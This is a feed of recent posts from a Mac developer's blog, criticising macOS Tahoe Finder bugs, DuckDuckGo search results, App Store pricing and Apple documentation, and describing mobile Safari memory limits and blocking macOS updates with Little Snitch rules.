More macOS 26.3 Finder column view silliness https://lapcatsoftware.com/articles/2026/2/4.html 2026-02-11T19:40:00Z 2026-02-11T19:40:00Z In today’s macOS 26.3 update, Apple implemented a “fix” for an issue I blogged about a month ago, macOS Tahoe broke Finder columns view. (At the behest of John Gruber and the Apple Style Guide, I’m now using the term “column view” rather than “columns view.”) Specifically, the issue was with the system setting to always show scroll bars. First, here’s a screenshot from the previous version, macOS 26.2:

macOS 26.2 Finder column view with scrollbars

Notice that the horizontal scrollbar covers the resizing widgets in the vertical scrollers and prevents resizing the columns.

Now, here’s a screenshot from the newly released version macOS 26.3:

macOS 26.3 Finder column view with scrollbars

The scrollbar unfortunately still covers up files in the columns. However, the vertical scrollers have been shortened, so the resizing widgets are now accessible above the horizontal scrollbar.

Problem solved, right? Well, not exactly. Try hiding the path bar at the bottom of the window (as well as the status bar, which was not shown in the above screenshot):

macOS 26.3 Finder column view with scrollbars but without path bar

Without the path bar, the columns are now taller, but the vertical scrollers remain the same height as before, leaving vertical gaps, a ridiculous amount of space between the bottom of the scrollers and the bottom of the columns, looking silly and amateurish.

Did nobody inside Apple test this configuration either? Or do they simply not care?

]]>
Why is DuckDuckGo so much worse than Bing? https://lapcatsoftware.com/articles/2026/2/3.html 2026-02-09T14:20:00Z 2026-02-09T16:30:00Z Several months ago I blogged about switching from Google to DuckDuckGo for search. I mentioned some (but not all) of my reasons for switching: Google Search “dropped support for the n= URL parameter that allowed you to specify the number of results shown per page” and kept “incorrectly flagging me as a bot.” These Google Search problems are exacerbated by my preference for performing searches in private browsing mode, not logged in to any account. Google practically forced me to switch by making my preferred workflow unusable. Unfortunately, despite the degradation of Google Search results over the years, which countless people have observed and lamented, Google still provides superior results, at least for my purposes, to other search providers I’ve tried.

The other day I was investigating a Firefox issue with native messaging in my browser extension StopTheMadness Pro, and I searched for "~/Library/Application Support/Mozilla" (the path of a folder on macOS) with DuckDuckGo:

DuckDuckGo search results

DuckDuckGo search results offered only two links from the entire web!

According to a DuckDuckGo help document:

Most of our search result pages feature one or more Instant Answers. To deliver Instant Answers on specific topics, DuckDuckGo leverages many sources, including specialized sources like Sportradar and crowd-sourced sites like Wikipedia. We also maintain our own crawler (DuckDuckBot) and many indexes to support our results. Of course, we have more traditional links and images in our search results too, which we largely source from Bing.

Indeed, years ago when I contemplated purchasing some search ads on DuckDuckGo, I discovered that DuckDuckGo did not have its own advertising sales but rather relied on Microsoft Advertising, which sells ads for Bing.

Below is the same search as before, this time with Microsoft Bing:

Bing search results start of page

Bing search results end of page

Bing returns multiple pages of search results from the web, as I would expect. Why is there such a difference between Bing and DuckDuckGo when DuckDuckGo admittedly sources from Bing?!?

It’s disappointing that I can’t rely on DuckDuckGo for decent search results. For now, I’m going to experiment with Bing as my default search engine, much as I hate Microsoft. (Google is a still dead to me.)

Addendum

I’m getting some Cloudflare challenges from Bing when searching from the address bar of a Safari private window. Oddly, I haven't seen any Cloudflare challenges from an Alfred custom search https://www.bing.com/search?rdr=0&safe_search=off&q={query} workflow, which is my preferred method for initiating a search, so I’m not sure yet whether this is a Bing deal-breaker.

By the way, for the Kagi fanatics in the audience, I have indeed tried Kagi, so you don’t need to ask me whether I’ve tried Kagi. Moreover, it should go without saying but apparently does not go without saying that “my preference for performing searches in private browsing mode, not logged in to any account” rules out Kagi, so I’m saying it now.

]]>
I’m in the Epstein files https://lapcatsoftware.com/articles/2026/2/2.html 2026-02-05T18:10:00Z 2026-02-05T18:40:00Z I read Kirk McElhearn’s article I’m in the Epstein Files, which revealed that Jeffrey Epstein was a customer of my former employer Rogue Amoeba Software and a subscriber to their email list, which happened to mention Kirk’s book Take Control of Audio Hijack. Thus, I decided to search the Epstein files for my own name, and dear lord, I’m in there too! By the way, it’s ironic in this context how clicking a Yes button is all it takes to verify that you are 18 years of age or older.

U.S. Department of Justice, Search Full Epstein Library, Are you 18 years of age or older?

Of course there are many Jeff Johnsons in the world, but the documents below do indeed refer to me.

From https://www.justice.gov/epstein/files/DataSet%2010/EFTA01810412.pdf:

EFTA01810412

And https://www.justice.gov/epstein/files/DataSet%2010/EFTA01810413.pdf:

EFTA01810413

These are the “About” windows from the Mac apps Airfoil and Airfoil Video Player (the latter now retired). I’m not sure how they specifically got into the Epstein emails, but in any case there are a number of emails from Rogue Amoeba to Epstein. The Justice Department failed to redact Epstein’s license key for Airfoil, which he purchased in August 2011, so perhaps Rogue Amoeba should invalidate that one.

My claim to fame was solving the Mac OCSP appocalypse. Appearing in the Epstein files is now my claim to shame.

On a political note, I’m astonished by how Epstein was at the epicenter of practically all power in the world, like the Pied Piper of the rich and famous. For a strange example, why was Epstein involved in arranging a meeting between Microsoft’s Steven Sinofsky and Apple’s Tim Cook? I suspect that there will never be a full reckoning for Epstein’s disgusting actions—not only his crimes but also his tentacled influence over world affairs—because even though Epstein is now dead, his former friends and allies remain at the highest levels of government and industry, eager to protect themselves and cover up their own misdeeds. It’s difficult to avoid conspiracy theories when perhaps the largest conspiracy we’ve ever known has been revealed. We should never underestimate the extent to which the most powerful people are organized, communicating and collaborating with each other. Don’t let them tell you that the world is a “meritocracy” based on individual achievement; that’s a cover story for the masses who are not invited or refuse to enter into the social circle of hell.

]]>
Apple’s MacBook Pro DFU port documentation is wrong https://lapcatsoftware.com/articles/2026/2/1.html 2026-02-02T01:07:00Z 2026-02-02T01:07:00Z According to the Apple support document How to identify the DFU port on Mac, the DFU (device firmware update) port location for MacBook Pro models with Apple silicon is as follows:

  • All other models: The leftmost USB-C port when you’re facing the left side of the Mac

This is wrong, a discovery that took me about a half dozen attempts to update macOS on an external disk. I have a 16-inch MacBook Pro with an M4 chip, specifically an M4 Pro chip, and the DFU port seems to be the USB-C port on the right side of the Mac, not on the left side.

For some damn reason, it matters which port your external disk is plugged into when you install or update macOS, as described by the Apple support document How to use an external storage device as a Mac startup disk:

Make sure that your storage device is plugged into the appropriate port on your Mac.

  • If you're using a Mac with Apple silicon, plug your storage device into any compatible port except the DFU port. Learn how to identify the DFU port. After macOS installation is complete, you can connect your storage device to any compatible port, including the DFU port.

  • If you’re using any other Mac, plug your storage device into any compatible port.

Mac disk management was so much easier in the days of Intel and PowerPC!

On an external SSD I had installed a macOS Sequoia boot volume (among others), which I’ve used to take Mac App Store screenshots for my apps and which I’d now like to use to take a screen recording. The installed version was still macOS 15.2, because I don’t often boot into the disk to take new screenshots, and going through the software update process would occupy my MacBook Pro for annoyingly long. However, it appears that Safari 26 requires a version of macOS 15 higher than .2, so I needed to update macOS in order to update Safari from version 18.

Over the past few days, every attempt I made to update the disk volume to macOS 15.7.3 failed inexplicably. I tried both Software Update in System Settings and the softwareupdate command-line tool in Terminal. They went through all the motions, downloading the entire update, rebooting, etc., but afterwards I always ended up right where I started, at macOS 15.2. The softwareupdate tool gave no error message. I did eventually see the following (truncated) notification:

Some updates could not be installed

Nonetheless, the so-called “Details” button presented no actual details, simply opening Software Update again in System Settings. At no point did it ever say, hey, plug your disk into a different port!

While searching for a solution to my problem, I found an article by Michael Tsai, Failed Software Update on the External Drive of an Apple Silicon Mac. It described something that I also saw in my testing:

I happened to boot into macOS Recovery and look in the Startup Security Utility, and I saw that it did not have access to change the security policy for the external drive. In order to do that, it said I had to set the drive as the startup disk. This kind of didn’t make sense because don’t the security options get set when booted from Recovery?

I followed Tsai’s instructions, which did allow me to change the security policy for the external drive.

I don’t know why software update couldn’t tell me this or why there is seemingly no direct GUI command to view or edit the authorized users. But restarting from within Startup Disk is apparently the way to get macOS to offer to fix the LocalPolicy. Once I added the user, I was able to do a normal boot from the external drive and software update normally.

I also thought this would solve my macOS update problem, but it didn’t. In retrospect, though, perhaps I needed both solutions, to fix the LocalPolicy and to change the ports.

I was about to surrender to despair when I discovered a second article by Michael Tsai, Failing to Finish Updating macOS on an External Disk, published soon after the first article:

With the final release of macOS 15.5, the problem got worse, and the Startup Disk workaround no longer helps.

Tsai ultimately hits on the solution:

The problem ended up being that I had plugged the external drive into the wrong USB-C port (the DFU port).

Sure enough, after plugging my disk into a port on the left side of my MacBook Pro, software update succeeded on the first attempt. Every previous, failed attempt used the port on the right side, which was physically more convenient on the desk. So after all that, the external disk is finally updated to macOS 15.7.3 now.

Tsai offers the same complaint about this absurd situation:

I don’t know why macOS can’t just report an error when you use the wrong port instead of proceeding to install for an hour and then not report an error but not work, either.

By the way, Software Update in System Settings allowed my Mac to go to sleep during the “Preparing” phase, despite the fact that the battery was charged to 99%, so when I returned home from a workout I unhappily found 30 minutes remaining. Sigh. Whatever happened to “it just works”?

]]>
How do you comparison shop in the App Store? https://lapcatsoftware.com/articles/2026/1/10.html 2026-01-29T16:30:00Z 2026-01-29T16:30:00Z Hot on the heels of my previous blog post My collected App Store critiques, I have yet another critique. It’s undoubtedly old news to many people, my critique coming years too late, but in my defense, I almost never shop for apps in the App Store. Rather, I merely download apps in the App Store that I already discovered outside the App Store, the old-fashioned way: recommendations from trusted friends, associates, and experts. However, I was recently looking for a snore recorder app for my iPhone, and I couldn’t find any trustworthy reviews on the web. Perhaps this is because the existence of free App Store amateur, anonymous, crowdsourced user ratings and reviews has mostly demonetized professional software reviews that in the past were regularly produced by well-known tech news media publications. A search of the web returned a number of app review sites, but I had never heard of any of them, so I had no reason to trust them. The App Store user ratings and reviews are not trustworthy either, especially for apps that are free to download, because then anyone and everyone in the world can leave a rating and review; fake reviews are inexpensive to purchase in bulk, apps often push users to rate the app before they’ve even had a chance to use the app much, and in any case, amateurs are generally terrible at writing informative reviews. Thus, in selecting a snore recording app, I was left to my own devices, so to speak.

When I shop in physical retail stores, all of the products are upfront paid and have listed prices that I can compare. The same is mostly true of online retail stores too. The App Store… thinks different. Most of its apps are free to download and run. Apple admitted in the public statement Addressing Spotify’s claims that this state of affairs is intentional:

A full 84 percent of the apps in the App Store pay nothing to Apple when you download or use the app. That’s not discrimination, as Spotify claims; it’s by design

As an App Store developer myself, I’ve stubbornly resisted the trend, perhaps to my financial detriment, though I’m currently doing ok with upfront paid apps. One thing that drives me nuts about the In-App Purchase business model is that it creates massive customer confusion. How do you know in advance exactly how much the app costs, what exactly you’re getting for the price, and what functionality, if any, is free? And if you’re confused about any of these things, then how can you possibly comparison shop between various apps in the App Store?

To illustrate, here’s SnoreLab, which claims, with no apparent external citation, to be the “World’s #1 Snore App”:

SnoreLap App Store page

I can’t make much sense of the list of In-App Purchases, which appears to include multiple conflicting prices for the same thing, and doesn’t explain what SnoreLab Premium gives you.

SnoreLab In-App Purchases

Sleep Cycle, in contrast, claims to be the “World’s No. 1 Sleep App.” Could the claims of both apps be true? Pedantically, perhaps, but is there any relevant difference between a snore app and a sleep app? And who exactly is ranking these apps?

Sleep Cycle App Store page

Sleep Cycle’s In-App Purchases are equally baffling.

Sleep Cycle In-App Purchases

The In-App Purchases of Pillow are slightly less confusing, though one wonders why the Quarterly price of $59.99 is vastly and nonsensically higher than the Annual price(s) of $39.99.

Pillow In-App Purchases

The defense of this absurd App Store pricing opacity might be that all of these apps are free to download, so you can just download an app and discover more details about its In-App Purchase in the app. Easier said than done! Not that it’s particularly easy to download and run every app that you might be interested in, some of which are quite large in download size. Moreover, I presume that many of these apps phone home to the developer from your device when you open the app, so you can’t really comparison shop in private.

The worst part of the experience, though, is that you typically need to navigate through an obstacle course of “welcome” screens before you ever get to see information about the In-App Purchases. For example, below is what you see when you first launch Sleep Cycle. Note that there’s also an introductory video, which I did not record, that plays overly long before you to get my first screenshot.

Welcome to healthier sleep

We classify our users’ data as health data.

Help more people find great sleep

How did you hear about Sleep Cycle?

Join a community of sleep enthusiasts

At this point, it appears that you cannot use Sleep Cycle without signing up for an account. I wish I would have known that before downloading. And I still know nothing about the In-App Purchases!

To the trash with this app. Perhaps I’ll leave a bad rating and review, without ever having used the app, which I can do now, as mentioned earlier.

Write a Review

Let’s look at the first run experience of Pillow, if you have the patience. Warning: it may make you drowsy. Don’t read this while operating a motor vehicle.

Welcome

We Respect Your Privacy

Personalized Analysis

Bedtime

Don’t Miss Important Reports and Insights

Use Data From Other Wearable Devices?

Permission to Access Motion Data

Permission To Access Apple Health

Pillow would like to access and update your Health data.

Discover the Sounds That You Make During Sleep

Pillow would like to access the Microphone.

Upload Sleep Data on iCloud?

Your Safety Matters

Congratulations!

Pillow Premium

Finally, after all that, we get to the In-App Purchase!

Start Free Trial

It appears that Pillow cannot be used at all without subscribing. The subscription does include the first week free, after which you are automatically charged $39.99, unless you cancel the subscription within that week.

There is a decent description of what exactly is included with the subscription, which is more than I can say for some other apps. On the other hand, it’s much easier for users to determine which features are included with the subscription when nothing works without the subscription.

Pillow Premium What’s Included

Unfortunately, I didn’t think to take screenshots of the SnoreLab first run experience. It turns out that SnoreLab does have some functionality for free, with no subscription or signup, though that is not clear within the app. After the various welcome screens, SnoreLab presents an In-App Purchase screen that gives the impression of being mandatory, but the screen also has an “X” widget that when pressed dismisses the screen, and then you can go about using the app, at least to an extent. Some of the features and settings trigger the IAP screen again. Essentially, the only way for consumers to learn how much the app costs is via trial and error.

Many defenders of Apple claim that iPhone and iPad (unlike the Mac) are locked down to the App Store for the protection of Apple users. I’ve seen no evidence of this. How does the App Store protect users when for example it makes comparison shopping nearly impossible? In my opinion, the App Store has the opposite design: not to protect users but to perplex them, making the otherwise simple process of purchasing a product an unholy mess, reducing Apple users to helpless and hapless victims of greedy developers—including Apple, a financial beneficiary of all App Store IAP—who deliberately misdirect and mislead with cunning bait-and-switch schemes to pump the maximum amount of money out of consumers. The goal is to get you hooked first, invested in the app with your time and effort before you realize how much money you have to invest.

]]>
My collected App Store critiques https://lapcatsoftware.com/articles/2026/1/9.html 2026-01-27T15:15:00Z 2026-01-27T15:15:00Z I’ve been blogging since 2006—before the App Store existed—albeit with a three year blogging hiatus, 2010-2013. I’ve written so many blog posts over the years that I often forget what I wrote, so the other day I decided to review my old posts. Although I’m not surprised that I’ve criticized the App Store, I was a bit surprised by how many times I’ve criticized the App Store on my blog. I feel that it would be useful to collect all of my App Store critiques in one place, if only so that I can easily reference them in the future. This blog post is that one place. If you’re looking for a sustained, expansive, detailed critique of the App Store, I hope you can find it here.

I would recommend starting with App Store is neither console nor retail but jukebox, which among my critiques provides the best overview. That blog post discusses the origin of the App Store, arguing that its historical model, the iTunes Music Store, is the most illuminating analogy for understanding the App Store, not the more commonly cited analogies such as retail stores and game consoles, which I argue are crucially disanalogous to the App Store.

The post Do you want me to leave the Apple ecosystem? is a defense of iOS “sideloading” (a dysphemism) and a response to those who dismissively suggest just switching to Android. By the way, after that blog post was published, Google decided to make Android sideloading more difficult and scary for users, as discussed by Android Authority (external link). Google can get away with these changes because Android and iOS form a smartphone duopoly, so if consumers don’t like the new Android restrictions, the alternative is even more restrictive. Apple apologists often claim that Apple has the right to run its platform as it pleases—as if purchasing a device gave consumers no rights—but by that same logic, Google also has the right to run its platform as it pleases, and thus Google could abolish Android sideloading if it pleased, and then Apple apologists could no longer dismissively suggest switching to Android. In my view, the defense of iOS lockdown is weak if it depends on the existence of Android sideloading, which could disappear at any time at the whim of Google, with no consumer recourse.

My posts Free with In-App Purchase is a sham and Why does Apple make a minority of developers finance the entire App Store? critique the basic business model of the App Store, while the post App Store search is not a user feature argues that Apple’s new developer policies in the European Union, spurred by the Digital Markets Act, demonstrate clearly and painfully that Apple does not consider App Store search to be for the benefit of App Store users but rather for Apple’s own financial benefit, to maximize profit from the App Store, especially from advertising.

Finally, I’ve written numerous blog posts critiquing Apple’s “curation” of the App Store, providing many examples of obvious scams and crapware that somehow get approved despite Apple’s review of every single app and update.

The Mac App Store Safari Extensions Experience

We believe that what’s in our store says a lot about who we are

The App Store does not protect consumers

App Store Curation

A look at a Mac App Store top grosser

Reaching 10 million App Store users

Some of the apps and developers that I blogged about have subsequently been removed from the App Store, with no public or private thanks from Apple to me, but apparently inspired by the negative publicity generated by my blog posts. Unfortunately, though, some remain even many years later, for example, Emanuele Floris (external link), mentioned by me way back in 2018, currently with a massive forty-five apps in the iOS App Store and twenty-three in the Mac App Store. According to the App Review Guidelines (external link), “Spamming the store may lead to your removal from the Apple Developer Program.” Or, it may not. Also, remember a few years ago, as referenced by my blog post The App Store Improvements process makes no sense, when Apple claimed to be systemically cleaning up and improving the App Store? It seems that effort wasn‘t very effective.

]]>
macOS 26.1 new feature: Resize columns to fit filenames https://lapcatsoftware.com/articles/2026/1/8.html 2026-01-23T14:55:00Z 2026-01-23T16:50:00Z After John Gruber linked to my article macOS Tahoe broke Finder columns view, someone sent me a tip about an addition on macOS 26.2 to the Finder view options window, which you can open with the Show View Options command under the View menu.

(Correction after publication: The tipster misidentified macOS 26.2 as the version introducing this new feature. It was actually macOS 26.1.)

Finder View menu on Tahoe

New on macOS 26.1 is the option Resize columns to fit filenames.

Show View Options on macOS 26.2

The option does not appear on macOS 15 Sequoia.

Show View Options on macOS 15.7.3

The new option appears to work… sometimes.

Finder window with Resize columns to fit filenames enabled

You can see in the second column below that resize columns to fit filenames does not always work. If the longest filename is too long, as determined by Finder, then filenames are still truncated as before.

Finder window with Resize columns to fit filenames enabled but long filenames truncated

Though a bit wonky, the new feature is a welcome addition.

Another change from Sequoia to Tahoe, brought to my attention by Gruber, is that the Finder scrollbar on Tahoe is darker than on Sequoia, the latter shown below.

Lighter scrollbar with no hover

I believe the difference is due to the lack of a scroller hover state on Tahoe. On Sequoia and earlier, the scroller becomes darker when you hover the mouse pointer over it.

Darker scrollbar with hover

The darkness of the scroller on Tahoe appears to be somewhere between the light and dark state on Sequoia.

I suspect that on Tahoe, Apple somehow combined the underlying source code for the system settings to show scroll bars always and show scroll bars when scrolling. Only one shade of color (or gray) is needed when the two scroll bars states are visible and invisible. Unfortunately, this sharing of code feels like a downgrade when applied to always shown scroll bars.

Both Gruber and the tipster mentioned to me that my inaccessible column resizing widget bug is “fixed” on macOS 26.3. Gruber shared a screenshot with me from the developer beta, which I won’t post here. We’ll see Apple’s “solution” for ourselves soon enough. I’m not satisfied with the change, because it appears that all Apple did was shorten the vertical scroller slots, while still covering file content with the horizontal scroll bars, in the typical Liquid Crass way.

By the way, I noticed a Finder bug on Tahoe when switching from dark to light mode.

Finder window in dark mode

Notice that in light mode, the back and forward buttons are still in dark mode, and the folder name is invisible (still white text, I suspect).

Finder window in light mode with dark mode back and forward buttons and missing folder name

This is my bug report. I won’t bother to file a Feedback.

One more thing, from Gruber:

I joked last week that it would make more sense if we found out that the team behind redesigning the UI for MacOS 26 Tahoe was hired by Meta not a month ago, but an entire year ago, and secretly sabotaged their work to make the Mac look clownish and amateur.

I habitually delete old social media posts, but I still have evidence from my RSS reader:

Jeff Johnson mastodon.social 12/28/25 at 9:43AM My conspiracy theory is that Alan Dye was hired by Meta at least a year ago and was committing sabotage before leaving.

Addendum

Resize columns to fit filenames does not automatically grow a column when you add a new file with a longer name. Neither does it automatically shrink a column when you remove a file with the longest name.

Desktop folder with test.png file

Below is after taking a screenshot. The screenshot filename is truncated, so the fitting occurs only during initial navigation to the folder in Finder.

Desktop folder with test.png file and Screenshot png file, column width the same

Returning to the inaccessible resizing widget issue, on further investigation it turns out that the issue does not occur on macOS 26.2 if you hide the path bar and hide the status bar in Finder.

Finder window with path bar and status bar
Finder window with status bar
Finder window with no path bar or status abr

Here’s to the crazy ones. The Finder engineers.

]]>
Mobile Safari web pages are severely limited by memory https://lapcatsoftware.com/articles/2026/1/7.html 2026-01-22T17:10:00Z 2026-01-22T17:10:00Z This may not be news to some web developers, but it was news to me. I’m not much of a web developer, aside from my retro (euphemism for primitive) web sites, which eschew JavaScript. However, I am a web browser extension developer, most notably of StopTheMadness Pro. In general, my extension’s JavaScript doesn’t consume a lot of memory as far as I can tell, and it certainly doesn’t cause web pages to crash. What led me to investigate memory usage in mobile Safari was the failure of a specific StopTheMadness Pro feature, font replacements, or even more specifically, replacement of web fonts in Safari with user-installed fonts. Safari refuses to display user-installed fonts, I believe to avoid fingerprinting, but Safari will display data: URL fonts, so StopTheMadness Pro converts user-supplied font files into data: URLs for display. Although this usually works great, I got a bug report from a customer on iOS trying to use a relatively large font file, 50 MB. I could reproduce the bug in mobile Safari, not in desktop Safari. My hypothesis was that the extension API runtime.sendMessage() has a memory limit in mobile Safari, but I experienced a lot of problems testing the hypothesis, because I kept making the web page crash! The irony is that the web page I was using for testing purposes kept hitting its own memory limit, which prevented me from producing a message large enough to test the extension API memory limit.

You can test this yourself with the example I’ve provided below. Just input the number of megabytes you want to use, then press the Fill Memory button, which triggers some simple JavaScript:

const longArray = [];
for (let i = 0; i < size * 1024 * 1024; ++i)
    longArray.push("a");

In other words, it adds a little over a million characters to an array for every megabyte you’ve selected.

 Status: Unfilled

There’s no magic number that makes the web page crash, but I can consistently crash a web page in mobile Safari on my 3rd generation iPhone SE at around 100 MB and on my 8th generation iPad at around 200 MB, both devices running iOS 26.2.

A couple of times, my memory test entirely froze my iPad, such that not even the home button worked, and eventually the device appeared to reboot, after spending some time at a dark screen with a spinner in the center. This seems very bad, right? A web page DoS!

You can see how uploading a 50 MB file (via the FileReader API) and creating a data: URL from it could easily crash the web page on iPhone, and I’m not sure there’s anything I can do about it, except to warn customers. Using try {} catch {} blocks in JavaScript doesn’t help at all; there’s no JavaScript exception to catch.

By the way, it turns out that the extension API runtime.sendMessage() also has a memory limit: 64 MB, on both iOS and Mac! My initial testing was on my iPhone, but I had better luck narrowing down the problem on my iPad because the latter apparently has more RAM, so I was able to hit the API memory limit without hitting the web page memory limit. The only good news is that this API does provide a JavaScript exception to catch when the memory limit is exceeded. In my opinion, the extension API and implementation, with arbitrary size limits, was poorly designed, originally by Google and Chrome, later copied by the other web browsers for compatibility with Chrome extensions. The dumbest part is that the API limits only the size of individual messages but does not limit the frequency of messages, so extensions can send a rapid series of messages at the size limit, mostly defeating the purpose of the limit. What the browsers should have done is automatically chunk the messages when necessary, as an implementation detail. The failure to do so left the worst of all worlds to extension developers. There’s not a great way for extensions to determine the exact size of a message before attempting to send it, and if the size limit happens to be exceeded, it’s up to every individual extension developer to implement their own custom chunking implementation to work around the limit. Sigh. I’m reminded of the infamous claim, “640K ought to be enough for anyone.”

]]>
My way to prevent the macOS Tahoe update with Little Snitch https://lapcatsoftware.com/articles/2026/1/6.html 2026-01-15T14:10:00Z 2026-01-15T14:10:00Z While I’ve been running Tahoe for testing purposes on a secondary Mac since WWDC 2025, my main Mac remains on Sequoia, and I intend to keep it that way for as long as possible. Unfortunately, the innovators in Cupertino have invented numerous ways to annoy users into updating, via notifications and Dock badges, or outright tricking users into updating via dark patterns. My way of stopping this madness is not for everyone. Perhaps it’s for no one but me. I don’t need my Mac to tell me when a software update is available, because I follow the Apple news religiously. In any case, my discussion may provide some insight into how macOS software updates work.

My weapon of choice is Little Snitch. I’ve created rules in Little Snitch to deny outgoing connections from the following processes:

/System/Library/CoreServices/Software Update.app/Contents/Resources/softwareupdated

/System/Library/PrivateFrameworks/MobileSoftwareUpdate.framework/Support/softwareupdated

/System/Library/PrivateFrameworks/SoftwareUpdate.framework/Versions/A/Resources/SoftwareUpdateNotificationManager.app

/usr/libexec/mobileassetd

There’s also a rule to deny outgoing connections from /usr/libexec/nsurlsessiond to the updates.cdn-apple.com hostname. Don’t block nsurlsessiond entirely, because it’s needed for other unrelated purposes.

All of these processes run in the background, though they can be triggered manually from System Settings or Terminal.

I never use System Settings to perform software updates and have disabled all automatic update settings:

Software Update System Settings pane. Unable to check for updates. The network connection was lost.

Instead I perform all software updates in Terminal app with the /usr/sbin/softwareupdate command-line tool. Read the fine man page. When I need to update, I temporarily disable the softwareupdated and nsurlsessiond rules in Little Snitch. The mobileassetd rule also needs to be disabled for macOS updates. (And for installing Xcode simulators!) Indeed, denying outgoing connections to mobileassetd will prevent softwareupdate --list from showing Tahoe. But for other software updates such as Safari and Safari Technology Preview, mobileassetd can be blocked in Little Snitch.

After updating, I re-enable the Little Snitch rules. If you put the System Settings app in your Dock, and the Dock icon is badged for an update such as Tahoe, then running the softwareupdate tool again with all connections denied will make the badge disappear again.

By the way, softwareupdate has an undocumented command-line option --include-config-data that you need in order to install some minor updates related to XProtect. However, if you’re extremely careful about which software you install on your Mac, as you obviously are if you’re using Little Snitch, then these updates are not really urgent. In over 20 years of Mac use, I’ve never accidentally or intentionally installed malware. I’ll typically run softwareupdate --list --include-config-data only when I’m already installing some other software update.

This process is not for the faint of heart, or mind. Please don’t email me requesting that I hold your hand through software updates. Instead, email Tim Cook requesting that he cease and desist with the stupid annual update schedule.

]]>
A sternly worded blog https://lapcatsoftware.com/articles/2026/1/5.html 2026-01-13T17:50:00Z 2026-01-13T17:50:00Z I have a few updates since my blog post yesterday, The news media blew it again: iOS 26 adoption measured only third-party browsers. First, Nick Heer, whose insights my blog post was attempting to disseminate, published a new article with a title less clickbaity than mine, Updating the Record on iOS 26 Usage Share:

I made a mistake on Friday: instead of waiting to polish a more comprehensive article, I effectively live-blogged my shifting understanding of how StatCounter was collecting its iOS version number data by way of updates and edits to existing posts.

This is why I acted as Heer’s unpaid, unsolicited publicist. ;-)

Second, AppleInsider linked to my blog post and provided some corroboration of the theory:

AppleInsider's editorial team did consider writing a similar story about the data when we spotted it. We too looked at our traffic logs, but after seeing all of the iOS 26 user agent logs were on third-party browsers, we saw that there was a problem.

Thanks, AppleInsider!

Third, Macworld also took notice of my blog post and published an update:

The remaining mystery is why there are any iOS 26 users at all in StatCounter’s data. One possibility, discussed by software engineer Jeff Johnson in a sternly worded blog, is that these are all iPhone owners running third-party browsers: Chrome, Firefox, Dolphin, and so on, rather than Safari. Which makes sense, since the version reporting is specifically a Safari issue… although at that point a total of 15 percent (considering that they have to be both using a third-party browser and running iOS 26) sounds remarkably high. Safari has a huge market share on the iPhone.

A sternly worded blog. I love it! Nick Heer suggested that I use it as a tagline, so now I have, on the blog index page and in the RSS (Atom) feed.

In response to the second part of the quote, I don’t think 15% is remarkably high for third-party browsers on iOS 26. Heer pointed me toward the Cloudflare statistics for market share by OS, which put Safari at 78%, leaving 22% for other browsers, led by Chrome. If 68% of those users have updated to iOS 26, that would amount to a 15% market share for third-party browsers on iOS 26.

In any case, I’m glad that Macworld published an update on the story.

I suspect that when Macworld was looking my blog post from yesterday, they also noticed my previous blog post, Myths about Logitech Developer ID certificate expiration, which criticized Macworld along with a number of other news outlets. In the Macworld RSS feed I noticed an update to their earlier article about the Logitech incident. The update actually appeared as a new article in my feed this morning, even though the link URL remained the same as before, I think because the original article, published on January 7, disappeared from the RSS, which contains only a limited number of items, and reappeared in the RSS when the update was published. The article originally made this false claim:

In macOS, some software needs to have a Developer ID certificate to run. The certificates are good for five years, after which they need to be renewed with Apple. If not, then the app will stop working.

The article now has a note at the bottom, “Update January 13: Added clarification about the Developer ID certificate.” The original false claim is still included but immediately contradicted by a correction from the Apple documentation, cited by my blog post:

In macOS, some software needs to have a Developer ID certificate to run. The certificates are good for five years, after which they need to be renewed with Apple. If not, then the app will stop working. However, as Apple’s documentation states, “As long as your Developer ID certificate was valid when you compiled your app, then users can download and run your app, even after the expiration date of the certificate. However, you’ll need a new certificate to sign updates and new applications.” So it seems as though Logitech attempted to push an update to its app after the certificate had expired..

Unfortunately, the correction is immediately followed by new speculation that’s at best confusing and at worst false. While it’s true that Logitech did push an update to its app after the certificate had expired, the update was a fix for the issues that were occurring, not the cause of those issues. I don’t think that Macworld quite understood the technical details of what I was saying or what Logitech itself was saying. However, I’ll give Macworld partial credit for trying to correct the record, in not just one but two stories. That’s certainly more than other news outlets, and after all they did give me a great new tagline!

Sternly yours, Jeff

]]>
macOS Tahoe broke Finder columns view https://lapcatsoftware.com/articles/2026/1/4.html 2026-01-13T15:15:00Z 2026-01-13T15:15:00Z I was investigating a strange Safari issue on macOS Tahoe, which I may or may not blog about later, when I discovered a nasty Finder bug, due to the nasty Liquid Glass redesign. Finder has four view modes, represented by the four consecutive toolbar icons in the screenshot below, if you can even call that free-floating monstrosity a toolbar anymore: Icons, List, Columns, and Gallery. My preference is columns view, which I’ve been using for as long as I remember, going back to Mac OS X.

Tahoe Finder columns view with scrollbars

At the bottom of each column is a resizing widget that you can use to change the width of the columns. Or rather, you could use it to change the width of the columns. On macOS Tahoe, the horizontal scroller covers the resizing widget and prevents it from being clicked! Compare with macOS Sequoia, where the horizontal scroller and scroll bar are below the column and allow access to all of the resizing widgets. (It should be noted that the Tahoe screenshot is from a non-retina display attached to a Mac mini, whereas the Sequoia screenshot is from a MacBook Pro built-in retina display.)

Sequoia Finder columns view with scrollbars

Coincidentally, in an article yesterday, John Gruber mentioned macOS scrollbars on Tahoe:

Here’s an illustrated follow-up regarding the absurdity of MacOS 26’s “looks like they’re rounded off like a child’s toy but actually they’re still rectangles with corners” windows. If you turn on always-visible scrollbars (which you should) and scroll to the bottom, they look like this:

Screenshot of the bottom right corner of a window in MacOS 26 showing a scrollbar thumb cut off by the rounded corner.

I’ve always showed scrollbars on my Macs for as long as I’ve used columns view, if not longer. Indeed, Mac OS X originally had no option to not show scrollbars. Now you can set the option in the System Settings Appearance pane; the default value is “Automatically based on mouse or trackpad.”

System Settings Appearance pane

I won’t comment on the transparency in the window, which you can obviously see for yourself.

Notice what happens when you use the default value: not only do the scrollbars disappear, the resizing widgets also disappear.

Tahoe Finder columns view without scrollbars

You can still resize the columns, though, by hovering over the horizontal column border lines. Thus, it appears that the Finder team did not even test with the combination of columns view and always show scroll bars. Or if they did test, Apple did not care that it was broken.

In the same article, Gruber quips:

It would make more sense if we found out that the team behind redesigning the UI for MacOS 26 Tahoe was hired by Meta a year ago and deliberately sabotaged their work to make the Mac look clownish and amateur.

I habitually delete most of my older social media posts, so unfortunately I don’t have a link anymore, but my RSS feed still has proof of what I said a few weeks ago:

My conspiracy theory is that Alan Dye was hired by Meta at least a year ago and was committing sabotage before leaving.
]]>
